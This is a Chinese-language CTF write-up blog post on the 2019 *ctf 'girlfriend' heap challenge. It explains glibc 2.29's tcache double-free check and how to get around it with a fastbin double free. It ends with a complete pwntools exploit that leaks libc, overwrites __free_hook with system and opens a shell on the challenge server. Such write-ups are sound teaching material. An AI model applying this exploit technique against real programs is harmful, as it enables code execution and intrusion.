pollux's Dairy

2019-sixstarsCTF-girlfriend[libc2.29,tcache]

字数统计: 1.4k阅读时长: 8 min
2019/05/02 Share

tcache在libc2.26时引入,加快了堆的内存分配。我们先回顾一下2.29之前libc对tcache的管理

0x00 tcache对堆的管理(libc<2.29)

在64位下,所有小于0x410(大小包括chunk head)的chunk被释放后,都会加入tcache链表中,一共有64个tcache链表

idx size
0 0x20
63 0x410

当tcache链表中满足申请内存大小时,会先从tcache中分配。

在tcache中有两个结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

/* tcache总体结构体,包含两个数组
字符数组counts,保存着每个链表counts[0]-counts[63]中的chunk个数
结构体数组entries,保存每个链表的头结点chunk的地址
*/
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

使用这两个结构体的又两个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/*释放一定大小chunk时,tcache未满,调用tcache_put
*/
static void tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

/*申请一定chunk时,tcache不为空,调用tcache_get
*/
static void *tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}

可以看到两个函数没有任何安全监测,比如调用tcache_put时,可以轻易实现double free,如下所示。

1
Tcachebins[idx=0, size=0x10] count=2  ←  Chunk(addr=0x55e7ae650280, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x55e7ae650280, size=0x20, flags=PREV_INUSE)  →  [loop detected]

0x01 tcache对堆的管理(libc = 2.29)

2.29的libc对tcache加了一些安全检测机制,下面看改动内容

tcache_entry结构体的改动

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;

可以看到加入了结构体指针key来防止double free

下面看下怎么使用key检测double free

1
2
3
4
5
6
7
8
9
10
11
static void tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

当chunk被放入tcache时,会对key赋值为当前chunk的地址,根据提示在_int_free中找到对应源码

1
2
3
4
5
6
7
8
9
10
11
12
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

如果e->key == tcache,程序会从链表头检索chunk,如果检索到了chunk e,说明tcache中已经存在chunk e,再次释放就会触发double free。

0x02 程序分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开

1
2
3
4
5
6
7
8
9
10
Do you wanna a girl friend?
Maybe she is hidden in the heap!
======================
1.Add a girl's info
2.Show info
3.Edit info
4.Call that girl!
5.Exit lonely.
======================
Input your choice:

3.Edit info 功能为空

4.Call that girl! 释放堆,但是未清空指针

0x03 绕过double free检测

虽然tcache加入了double free的检测,但是fastbin没有

所以可以先将一定大小的tcache填满(这个0x20是不包含chunk head的大小)

1
Tcachebins[idx=1, size=0x20] count=7

再释放0x30的chunk就会放入fastbin中

1
Fastbins[idx=1, size=0x20]  ←  Chunk(addr=0x55f8e0d129e0, size=0x30, flags=PREV_INUSE)  ←  Chunk(addr=0x55f8e0d12a30, size=0x30, flags=PREV_INUSE)  ←  Chunk(addr=0x55f8e0d129e0, size=0x30, flags=PREV_INUSE)  →  [loop detected]

根据tcache的机制,再次申请0x30的chunk,会先从tcache中分配,比如我们申请7次,清空0x30的tcache。

此时再申请0x30的chunk就会从fastbin中分配,然后会把剩余的fastbin按大小加入tcache,有点类似unsortedbin的分配

1
Tcachebins[idx=1, size=0x20] count=3  ←  Chunk(addr=0x5635b6ee1a30, size=0x30, flags=PREV_INUSE)  ←  Chunk(addr=0x5635b6ee19e0, size=0x30, flags=PREV_INUSE)  ←  Chunk(addr=0x7f7906b328c8, size=0x0, flags=)

可以看到最后一个chunk,已经是libc函数的地址了

这样就绕过了tcache的double free检测,实现任意地址分配堆了

0x04 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python
from pwn import *

LOCAL = 0
if LOCAL:
p = process(['./lib/ld-2.29.so','--library-path','./lib/','./chall'])
#p = process('./chall')
else:
p = remote('34.92.96.238',10001)
context.log_level = 'debug'

def add(size,name,call):
p.recvuntil('Input your choice:')
p.sendline(str(1))
p.recvuntil('name')
p.sendline(str(size))
p.recvuntil('please inpute her name:')
p.sendline(name)
p.recvuntil('please input her call:')
p.sendline(call)

def delete(idx):
p.recvuntil('Input your choice:')
p.sendline(str(4))
p.recvuntil('Please input the index:')
p.sendline(str(idx))
def show(idx):
p.recvuntil('Input your choice:')
p.sendline('2')
p.recvuntil('Please input the index:')
p.sendline(str(idx))

def q():
gdb.attach(p)
raw_input('test')

def pwn():
add(1288,'aaaaaaa','2'*12)#0 0x508
for i in range(7): #idx 1-7
add(32,'bbbbbbbb','1'*12)

add(32,'cccccccc','1'*12)#8
add(32,'bbbbbbbb','1'*12)#9

delete(0)#unsortedbin
show(0)
p.recvuntil('name:\x0a')
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x3B1C40 - 88 -8
free_hook = libc_base + 0x3b38c8
system = libc_base + 0x41c30
log.success('libc_base: '+ hex(libc_base))
log.success('free_hook: '+ hex(free_hook))
log.success('system: '+ hex(system))

delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)

delete(8)#fastbin
delete(9)#fastbin
delete(8)#fastbin

for i in range(7): #idx 1-7
add(32,'bbbbbbbb','1'*12)

add(32,p64(free_hook),'1'*12)
add(32,'/bin/sh\x00','1'*12)
add(32,'aaaaaaaa','1'*12)
add(32,p64(system),'1'*12)
delete(9)
p.interactive()
pwn()
CATALOG
  1. 1. 0x00 tcache对堆的管理(libc<2.29)
  2. 2. 0x01 tcache对堆的管理(libc = 2.29)
  3. 3. 0x02 程序分析
  4. 4. 0x03 绕过double free检测
  5. 5. 0x04 EXP